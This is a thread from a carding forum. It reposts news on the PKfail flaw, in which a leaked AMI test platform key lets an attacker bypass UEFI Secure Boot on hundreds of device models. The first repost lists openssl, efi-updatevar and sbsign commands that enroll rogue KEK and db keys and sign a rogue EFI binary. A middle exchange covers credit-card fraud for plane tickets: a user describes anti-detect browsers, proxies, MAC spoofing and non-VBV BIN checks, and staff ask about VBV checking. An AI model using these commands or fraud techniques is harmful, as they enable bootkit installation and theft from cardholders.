In 806 models of motherboards the test key allowing to bypass UEFI Secure Boot is revealed

[Carding Forum]

Security researchers from Binarly have identified the ability to bypass the UEFI Secure Boot verification mode on more than 800 products released by Acer, Dell, Fujitsu, Gigabyte, HP, Intel, Lenovo and Supermicro. The problem was codenamed PKfail and is related to the use of an untrustworthy platform key (PK, Platform Key) in the firmware, generated by AMI (American Megatrends International) and supplied as a test example. The oldest firmware versions that used the test key were released in 2012, and the newest ones are dated June 2024. According to researchers, more than 10% of all tested firmware versions are affected.

The key parameters indicated that it was not trustworthy and should not be delivered in their products. It was assumed that this test key should be replaced with its own, but the manufacturers did not pay attention to the warning and used a standard shared key sent to all partners and customers of the AMI company in the final firmware.

The private part of the AMI test key required for creating digital signatures was made publicly available after information was leaked from one of the hardware manufacturers, whose employee mistakenly placed the code containing this key in the public repository on GitHub. The private key was placed in an encrypted file, which was encrypted using a simple 4-character password, which was easily found by brute force.

The platform key is used as the root of trust to authenticate the database with keys for Secure Boot. Obtaining the private part of the platform key compromises the entire chain of trust involved in verifying the validity of components of the loaded system . Knowing the platform key, you can bypass Secure Boot protection and organize substitution when loading your own components by manipulating the KEK (Key Exchange Key) key and the "db" (Signature Database) and "dbx" (Forbidden Signature Database). KEK is responsible for creating a chain of trust between the firmware and the operating system, "db" contains certificates and signatures for the bootloader and third-party UEFI components, and "dbx" includes revoked signatures of known malicious components.

To perform an attack, it is enough to generate new keys and certificates for the KEK and db, and then use the publicly available test key of the platform to upload the created KEK certificate to the UEFI firmware. After uploading a KEK certificate to the firmware, you can use the associated private key to upload a new certificate to the db database. After loading the db certificate, the associated private key can be used to authenticate the loaded EFI components.

openssl req -newkey rsa:4096 -nodes -keyout KEK.key -new -x509 -sha256 -days 3650 -subj "/CN=BRLY KEK/" -out KEK.crt
openssl req -newkey rsa:4096 -nodes -keyout db.key -new -x509 -sha256 -days 3650 -subj "/CN=BRLY db/" -out db.crt

efi-updatevar -a -c KEK.crt -k PK.key KEK
efi-updatevar -a -c db.crt -k KEK.key db
sbsign --key db.key --cert db.crt --output rogue.efi.signed rogue.efi

To check the correctness of the platform key, just run the "efi-readvar-v PK" utility from the efitools package and make sure that the platform key is not a test key:

efi-readvar -v PK

Variable PK, length 862
PK: List 0, type X509
Signature 0, size 834, owner 26dc4851-195f-4ae1-9a19-fbf883bbb35e
Subject:
CN=DO NOT TRUST - AMI Test PK
Issuer:
CN=DO NOT TRUST - AMI Test PK

• Video:

 

[Nicoleredmond]

Security researchers from Binarly have identified the ability to bypass the UEFI Secure Boot verification mode on more than 800 products released by Acer, Dell, Fujitsu, Gigabyte, HP, Intel, Lenovo and Supermicro. The problem was codenamed PKfail and is related to the use of an untrustworthy platform key (PK, Platform Key) in the firmware, generated by AMI (American Megatrends International) and supplied as a test example. The oldest firmware versions that used the test key were released in 2012, and the newest ones are dated June 2024. According to researchers, more than 10% of all tested firmware versions are affected.

The key parameters indicated that it was not trustworthy and should not be delivered in their products. It was assumed that this test key should be replaced with its own, but the manufacturers did not pay attention to the warning and used a standard shared key sent to all partners and customers of the AMI company in the final firmware.

The private part of the AMI test key required for creating digital signatures was made publicly available after information was leaked from one of the hardware manufacturers, whose employee mistakenly placed the code containing this key in the public repository on GitHub. The private key was placed in an encrypted file, which was encrypted using a simple 4-character password, which was easily found by brute force.

The platform key is used as the root of trust to authenticate the database with keys for Secure Boot. Obtaining the private part of the platform key compromises the entire chain of trust involved in verifying the validity of components of the loaded system . Knowing the platform key, you can bypass Secure Boot protection and organize substitution when loading your own components by manipulating the KEK (Key Exchange Key) key and the "db" (Signature Database) and "dbx" (Forbidden Signature Database). KEK is responsible for creating a chain of trust between the firmware and the operating system, "db" contains certificates and signatures for the bootloader and third-party UEFI components, and "dbx" includes revoked signatures of known malicious components.

To perform an attack, it is enough to generate new keys and certificates for the KEK and db, and then use the publicly available test key of the platform to upload the created KEK certificate to the UEFI firmware. After uploading a KEK certificate to the firmware, you can use the associated private key to upload a new certificate to the db database. After loading the db certificate, the associated private key can be used to authenticate the loaded EFI components.



To check the correctness of the platform key, just run the "efi-readvar-v PK" utility from the efitools package and make sure that the platform key is not a test key:



• Video:

for the card plane ticket method I can only book $100 tickets I can't book a $500 ticket as soon as I try it refuses...how do I proceed? can you help me? the expedia method has never worked for me or no longer works?

 

[Carding Forum]

To understand your problem and find the error:
1. Create a separate topic on the forum.
2. Describe each of your actions (step by step).
3. Provide a link to the method or guide you used.

 

[Nicoleredmond]

To understand your problem and find the error:
1. Create a separate topic on the forum.
2. Describe each of your actions (step by step).
3. Provide a link to the method or guide you used.

to start I activate my VPN, proxy(922S5), AdsPower Browser as an anti-detection without forgetting to change the MAC address; everything is done according to the owner of the cc .then I check my IP with with whoer.net; I would have liked to use (ipQualityScore) to check my IP but personally I don't really know how it works.
I enter the Google search bar to search for sites like Expedia or booking.com, I choose my flight and my date and I fill in the traveler's information after those owner of the CC and I make the payment
Before starting I empty my caches and the coockies, I cheick the bin to know if it is no vbv after I cheick the cc to see if it is valid

 

[Carding Forum]

Please create a separate topic about your problem and answer the question:
By what method do you check the card for NON VBV bin or VBV bin?

 

[Friend]

Binarly reported that the PKfail problem, discovered in the UEFI supply chain last summer, turned out to be much more serious than they expected. According to experts, about 8.5% of all firmware images use test cryptographic keys that are already known to the public or have been disclosed in a data breach. As a result, many devices with Secure Boot are vulnerable and can be considered as potentially compromised.

Recall that it was initially reported that the PKfail problem affects hundreds of device models from many major manufacturers, including Acer, Aopen, Dell, Formelife, Fujitsu, Gigabyte, HP, Intel, Lenovo and Supermicro.

Binarly's experts discovered that the vulnerable devices use cryptographic test "master keys" for Secure Boot, also known as Platform Keys, created by American Megatrends International (AMI). Such keys are labeled "DO NOT TRUST" and were not intended for use in production systems at all: AMI provided them to customers and potential buyers for testing.

Manufacturers were supposed to replace them with their own, securely generated keys. However, this was not done.

In the summer, analysts wrote that keys marked "DO NOT SHIP" and "DO NOT TRUST" are used in 813 different products. Moreover, many test keys were part of data leaks, that is, they have already become known to the general public and potential attackers.

"OEMs and device vendors often do not replace the Platform Key, which manages Secure Boot databases and maintains the entire chain of trust from firmware to the operating system. As a result, the devices come with weak keys," the Binarly researchers wrote in their report.

Exploitation of PKfail allows attackers with access to vulnerable devices and the private part of the Platform Key to bypass Secure Boot by manipulating the Key Exchange Key, Signature Database, and Forbidden Signature Database. And by compromising the entire chain, from firmware to the operating system, attackers will be able to sign their malicious code and deploy a UEFI malware similar to CosmicStrand and BlackLotus on the machine.

In July, Binarly experts launched the pk.fail website, which was designed to help users scan and detect devices vulnerable to PKfail, as well as identify malicious payloads.

As reported now, since its launch, this scanner has already helped identify 791 vulnerable firmware (out of 10,095 checked). That is, the researchers now know about 972 vulnerable devices, and they have discovered four more new test keys that they have not seen before.

"We have identified PKfail and non-production keys on medical devices, desktops, laptops, game consoles, corporate servers, ATMs, POS terminals, and even in strange places like voting machines," Binarly said in a new report.

Most of the problematic keys turned out to be related to AMI and its competitors - Insyde (61), Phoenix (4) and another key from Supermicro.

It is noted that Insyde keys, which were generated back in 2011, are still used in modern devices. Previously assumedaxis, that they can only be found in rare and legacy systems.

In addition, the community helped confirm that PKfail affects various specialized devices from manufacturers such as Hardkernel, Beelink, and Minisforum, meaning the problem is much more widespread than originally thought.

Binarly experts write that the reaction of manufacturers to PKfail was generally proactive and fast, but not everyone promptly published warnings about the threat. For example, Dell, Fujitsu, Supermicro, Gigabyte, Intel, and Phoenix have released security bulletins dedicated to PKfail.

The report also highlights that many manufacturers have already released patches or firmware updates to remove and replace vulnerable keys, and users can get them by updating the BIOS. The researchers recommend that everyone check for updates from their device manufacturers, and install any patches that are related to PKfail as soon as possible.

So far, Binarly has not divulged specific models of vulnerable devices, citing non-disclosure agreements, as patches for many of them are not yet available. An update on PKfail will be presented at next week's LABScon conference.